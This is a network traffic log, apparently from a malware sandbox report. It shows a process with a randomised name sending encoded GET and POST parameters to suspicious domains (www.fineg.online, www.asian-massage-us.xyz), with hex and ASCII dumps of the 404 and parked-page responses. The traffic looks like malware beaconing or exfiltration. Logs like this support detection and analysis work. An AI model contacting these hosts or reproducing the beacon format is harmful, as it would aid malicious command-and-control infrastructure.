Sep 9, 2024 10:42:48.739783049 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Mon, 09 Sep 2024 08:42:48 GMT Server: Apache Content-Length: 18121 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 22 3e 0a 20 20 3c 64 69 76 3e 0a 20 20 20 20 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 30 30 20 33 35 35 22 3e 0a 20 20 3c 67 20 69 64 3d 22 6f 63 65 61 6e 22 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 73 6b 79 22 20 63 6c 61 73 73 3d 22 73 74 30 22 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="/404style.css"></head><body>... partial:index.partial.html --><div class="main"> <div> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 355"> <g id="ocean"> <path id="sky" class="st0" d="M0 0h1000v203.1H0z"/> <linearGradient id="water_1_" gradientUnits="userSpaceOnUse" x1="500" y1="354" x2="500" y2="200.667"> <stop offset="0" stop-color="#fff"/> <stop offset="1" stop-color="#b3dcdf"/> </linearGradient> <path id="water" fill="url(#water_1_)" d="M0 200.7h1000V354H0z"/> <path id="land" class="st0" d="M0 273.4h1000V354H0z"/> <g id="bumps"> <path class="st0" d="M0 275.2s83.8-28 180-28 197 28 197 28H0z"/> <path class="st0" d="M377 275.2s54.7-28 117.5-28 128.6 28 128.6 28H377z"/> <path class="st0" d="M623.2 275.2s83.7-28 179.9-28 196.9 28 196.9 28H623.2z"/> <path class="st0" d="M-998 275.2s83.8-28 180 [TRUNCATED]
Sep 9, 2024 10:42:48.739819050 CEST	224	IN	Data Raw: 35 2d 32 38 20 31 32 38 2e 36 20 32 38 20 31 32 38 2e 36 20 32 38 48 2d 36 32 31 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 2d 33 37 34 2e 38 20 32 37 35 2e 32 73 38 33 2e 37 2d 32 38 20 31 Data Ascii: 5-28 128.6 28 128.6 28H-621z"/> <path class="st0" d="M-374.8 275.2s83.7-28 179.9-28S2 275.2 2 275.2h-376.8z"/> </g> </g> <g id="tracks"> <path class="st2" d="M9.8 282.4h-3L0 307.6h3z"/> <path class="st2
Sep 9, 2024 10:42:48.739905119 CEST	1236	IN	Data Raw: 22 20 64 3d 22 4d 31 39 2e 38 20 32 38 32 2e 34 68 2d 33 4c 31 30 20 33 30 37 2e 36 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 32 39 2e 38 20 32 38 32 2e 34 68 2d 33 4c 32 30 20 33 30 37 2e Data Ascii: " d="M19.8 282.4h-3L10 307.6h3z"/> <path class="st2" d="M29.8 282.4h-3L20 307.6h3z"/> <path class="st2" d="M39.8 282.4h-3L30 307.6h3z"/> <path class="st2" d="M49.8 282.4h-3L40 307.6h3z"/> <path class="st2" d="M59.8 282.4h-3L50
Sep 9, 2024 10:42:48.740022898 CEST	1236	IN	Data Raw: 22 20 64 3d 22 4d 32 33 39 2e 38 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 32 34 39 2e 38 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 Data Ascii: " d="M239.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M249.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M259.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M269.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M279.8 282
Sep 9, 2024 10:42:48.740068913 CEST	1236	IN	Data Raw: 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 34 35 39 2e 38 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 34 Data Ascii: <path class="st2" d="M459.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M469.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M479.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M489.8 282.4h-3l-6.8 25.2h3z"/> <path class="
Sep 9, 2024 10:42:48.740083933 CEST	1236	IN	Data Raw: 73 74 32 22 20 64 3d 22 4d 38 33 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 38 32 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 Data Ascii: st2" d="M830 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M820 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M810 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M800 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M790 282.4h-3l-
Sep 9, 2024 10:42:48.740242004 CEST	1236	IN	Data Raw: 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 36 30 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 Data Ascii: 25.2h3z"/> <path class="st2" d="M600 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M590 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M580 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M570 282.4h-3l-6.8 25.2h3z"/> <path c
Sep 9, 2024 10:42:48.740257025 CEST	1120	IN	Data Raw: 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 2d 33 33 30 2e 32 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 Data Ascii: -3l-6.8 25.2h3z"/> <path class="st2" d="M-330.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-320.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-310.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-300.2 282.4h-3l
Sep 9, 2024 10:42:48.740273952 CEST	1236	IN	Data Raw: 32 22 20 64 3d 22 4d 2d 31 35 30 2e 32 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 2d 31 34 30 2e 32 20 32 38 32 2e 34 68 2d 33 Data Ascii: 2" d="M-150.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-140.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-130.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-120.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2"
Sep 9, 2024 10:42:48.740303040 CEST	1236	IN	Data Raw: 64 3d 22 4d 34 35 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 34 34 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e Data Ascii: d="M450 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M440 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M430 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M420 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M410 282.4h-
Sep 9, 2024 10:42:48.744836092 CEST	1236	IN	Data Raw: 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 32 33 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 32 32 30 Data Ascii: <path class="st2" d="M230 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M220 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M210 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M200 282.4h-3l-6.8 25.2h3z"/> <path class="st

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49284	162.0.239.141	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:42:50.614120007 CEST	468	OUT	GET /mkan/?MHZDTHg=++BThBYRK05wjkBDkCMyqRU9EXa7XpQtL/1q1tE7a+KA1WWTK8ndyCrnLs1rj5YPQ184ZKAvPKam8uu94QVQlnoxyYMQ/CoARoRTEZylvaiatUE6PHz4hBbvUaTHyaHkPw==&m8=721TkfhHN46HeBfP HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Connection: close Host: www.fineg.online User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36
Sep 9, 2024 10:42:51.249588013 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Mon, 09 Sep 2024 08:42:51 GMT Server: Apache Content-Length: 18121 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 22 3e 0a 20 20 3c 64 69 76 3e 0a 20 20 20 20 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 30 30 20 33 35 35 22 3e 0a 20 20 3c 67 20 69 64 3d 22 6f 63 65 61 6e 22 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 73 6b 79 22 20 63 6c 61 73 73 3d 22 73 74 30 22 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="/404style.css"></head><body>... partial:index.partial.html --><div class="main"> <div> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 355"> <g id="ocean"> <path id="sky" class="st0" d="M0 0h1000v203.1H0z"/> <linearGradient id="water_1_" gradientUnits="userSpaceOnUse" x1="500" y1="354" x2="500" y2="200.667"> <stop offset="0" stop-color="#fff"/> <stop offset="1" stop-color="#b3dcdf"/> </linearGradient> <path id="water" fill="url(#water_1_)" d="M0 200.7h1000V354H0z"/> <path id="land" class="st0" d="M0 273.4h1000V354H0z"/> <g id="bumps"> <path class="st0" d="M0 275.2s83.8-28 180-28 197 28 197 28H0z"/> <path class="st0" d="M377 275.2s54.7-28 117.5-28 128.6 28 128.6 28H377z"/> <path class="st0" d="M623.2 275.2s83.7-28 179.9-28 196.9 28 196.9 28H623.2z"/> <path class="st0" d="M-998 275.2s83.8-28 180 [TRUNCATED]
Sep 9, 2024 10:42:51.249603987 CEST	1236	IN	Data Raw: 2e 32 73 35 34 2e 37 2d 32 38 20 31 31 37 2e 35 2d 32 38 20 31 32 38 2e 36 20 32 38 20 31 32 38 2e 36 20 32 38 48 2d 36 32 31 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 2d 33 37 34 2e 38 20 Data Ascii: .2s54.7-28 117.5-28 128.6 28 128.6 28H-621z"/> <path class="st0" d="M-374.8 275.2s83.7-28 179.9-28S2 275.2 2 275.2h-376.8z"/> </g> </g> <g id="tracks"> <path class="st2" d="M9.8 282.4h-3L0 307.6h3z"/> <path class="st2" d=
Sep 9, 2024 10:42:51.249609947 CEST	448	IN	Data Raw: 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 31 39 39 2e 38 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 32 30 39 2e 38 20 32 38 Data Ascii: class="st2" d="M199.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M209.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M219.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M229.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d=
Sep 9, 2024 10:42:51.249615908 CEST	1236	IN	Data Raw: 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 32 37 39 2e 38 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d Data Ascii: <path class="st2" d="M279.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M289.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M299.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M309.8 282.4h-3l-6.8 25.2h3z"/> <path class=
Sep 9, 2024 10:42:51.249622107 CEST	1236	IN	Data Raw: 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 34 39 39 2e 38 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 Data Ascii: l-6.8 25.2h3z"/> <path class="st2" d="M499.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M1000 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M990 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M980 282.4h-3l-6.8 25.2h3z"/>
Sep 9, 2024 10:42:51.249627113 CEST	448	IN	Data Raw: 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 37 39 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 37 38 30 20 32 38 32 Data Ascii: ath class="st2" d="M790 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M780 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M770 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M760 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M750
Sep 9, 2024 10:42:51.249640942 CEST	1236	IN	Data Raw: 73 3d 22 73 74 32 22 20 64 3d 22 4d 37 31 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 37 30 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 Data Ascii: s="st2" d="M710 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M700 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M690 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M680 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M670 282.4h-
Sep 9, 2024 10:42:51.249646902 CEST	1236	IN	Data Raw: 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 2d 34 33 30 2e 32 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 Data Ascii: <path class="st2" d="M-430.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-420.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-410.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-400.2 282.4h-3l-6.8 25.2h3z"/>
Sep 9, 2024 10:42:51.249658108 CEST	448	IN	Data Raw: 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 2d 32 32 30 2e 32 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a Data Ascii: .4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-220.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-210.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-200.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-190.2 282.4h
Sep 9, 2024 10:42:51.249664068 CEST	1236	IN	Data Raw: 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 2d 31 35 30 2e 32 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d Data Ascii: <path class="st2" d="M-150.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-140.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-130.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-120.2 282.4h-3l-6.8 25.2h3z"/> <pa
Sep 9, 2024 10:42:51.255521059 CEST	1236	IN	Data Raw: 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 34 35 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 34 34 30 20 32 38 Data Ascii: th class="st2" d="M450 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M440 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M430 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M420 282.4h-3l-6.8 25.2h3z"/> <path class="st2"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49285	199.59.243.226	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:42:56.544389963 CEST	745	OUT	POST /kc69/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 208 Host: www.asian-massage-us.xyz Origin: http://www.asian-massage-us.xyz Referer: http://www.asian-massage-us.xyz/kc69/ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36 Data Raw: 4d 48 5a 44 54 48 67 3d 41 6b 42 6c 30 78 4e 53 47 6b 76 6b 2b 43 68 30 6d 4f 64 71 70 36 63 48 54 6b 46 66 7a 57 36 69 6d 30 78 6a 73 67 47 6c 44 32 50 79 46 2b 75 4b 59 6d 74 73 5a 52 31 78 2f 6d 64 2b 71 46 48 6d 56 31 2f 68 48 6d 5a 38 76 4d 54 54 2f 4c 4b 61 62 6a 2b 64 51 62 7a 42 6a 66 6d 34 4d 32 6a 59 35 34 77 38 58 48 52 36 62 33 77 79 77 61 30 75 6f 2b 37 6f 38 4b 4b 39 65 35 48 47 68 61 63 39 56 37 76 68 30 51 44 4a 79 2b 45 52 5a 73 32 59 31 63 54 6b 66 45 34 66 38 42 41 64 43 6b 77 5a 48 35 67 61 37 62 32 65 52 6d 33 6f 36 67 64 2f 51 45 57 42 49 32 35 46 5a 38 30 71 6f 42 39 6e 62 6f 52 70 68 4f 73 3d Data Ascii: MHZDTHg=AkBl0xNSGkvk+Ch0mOdqp6cHTkFfzW6im0xjsgGlD2PyF+uKYmtsZR1x/md+qFHmV1/hHmZ8vMTT/LKabj+dQbzBjfm4M2jY54w8XHR6b3wywa0uo+7o8KK9e5HGhac9V7vh0QDJy+ERZs2Y1cTkfE4f8BAdCkwZH5ga7b2eRm3o6gd/QEWBI25FZ80qoB9nboRphOs=
Sep 9, 2024 10:42:56.980406046 CEST	1236	IN	HTTP/1.1 200 OK date: Mon, 09 Sep 2024 08:42:56 GMT content-type: text/html; charset=utf-8 content-length: 1146 x-request-id: f36bdf42-7adb-4edd-8c4f-10f58113af7c cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_wlARJhqLmmWVH8b/GDIhwzJzdn45kft3k6Oe/Gu2/ALbm28f2LYsrDNuPhf0t5f499uG0DPZUJsoCIy0MhjZPw== set-cookie: parking_session=f36bdf42-7adb-4edd-8c4f-10f58113af7c; expires=Mon, 09 Sep 2024 08:57:56 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 77 6c 41 52 4a 68 71 4c 6d 6d 57 56 48 38 62 2f 47 44 49 68 77 7a 4a 7a 64 6e 34 35 6b 66 74 33 6b 36 4f 65 2f 47 75 32 2f 41 4c 62 6d 32 38 66 32 4c 59 73 72 44 4e 75 50 68 66 30 74 35 66 34 39 39 75 47 30 44 50 5a 55 4a 73 6f 43 49 79 30 4d 68 6a 5a 50 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_wlARJhqLmmWVH8b/GDIhwzJzdn45kft3k6Oe/Gu2/ALbm28f2LYsrDNuPhf0t5f499uG0DPZUJsoCIy0MhjZPw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 9, 2024 10:42:56.980424881 CEST	599	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZjM2YmRmNDItN2FkYi00ZWRkLThjNGYtMTBmNTgxMTNhZjdjIiwicGFnZV90aW1lIjoxNzI1ODcxMz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49286	199.59.243.226	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:42:59.098887920 CEST	765	OUT	POST /kc69/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 228 Host: www.asian-massage-us.xyz Origin: http://www.asian-massage-us.xyz Referer: http://www.asian-massage-us.xyz/kc69/ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36 Data Raw: 4d 48 5a 44 54 48 67 3d 41 6b 42 6c 30 78 4e 53 47 6b 76 6b 2f 69 52 30 6e 74 31 71 2b 4b 63 49 50 30 46 66 6f 6d 36 6d 6d 30 31 6a 73 69 71 31 44 46 72 79 46 62 4b 4b 5a 6e 74 73 63 52 31 78 74 47 64 6e 6b 6c 48 78 56 31 7a 70 48 6b 64 38 76 4d 48 54 2f 4b 36 61 62 77 57 65 54 72 7a 44 72 2f 6d 41 43 57 6a 59 35 34 77 38 58 48 31 41 62 33 49 79 77 71 6b 75 70 66 37 72 30 71 4b 2b 4f 5a 48 47 72 36 63 6d 56 37 76 66 30 52 4f 55 79 34 41 52 5a 70 4b 59 31 4a 2f 6e 55 45 35 31 78 68 42 54 53 46 52 4a 4b 66 73 55 30 4b 48 68 47 6b 75 52 2f 57 77 56 4b 6d 65 70 62 57 56 39 4a 76 38 64 35 78 63 4f 42 4c 42 5a 2f 5a 36 6a 48 5a 79 34 44 79 35 78 41 6d 43 58 36 61 65 5a 64 38 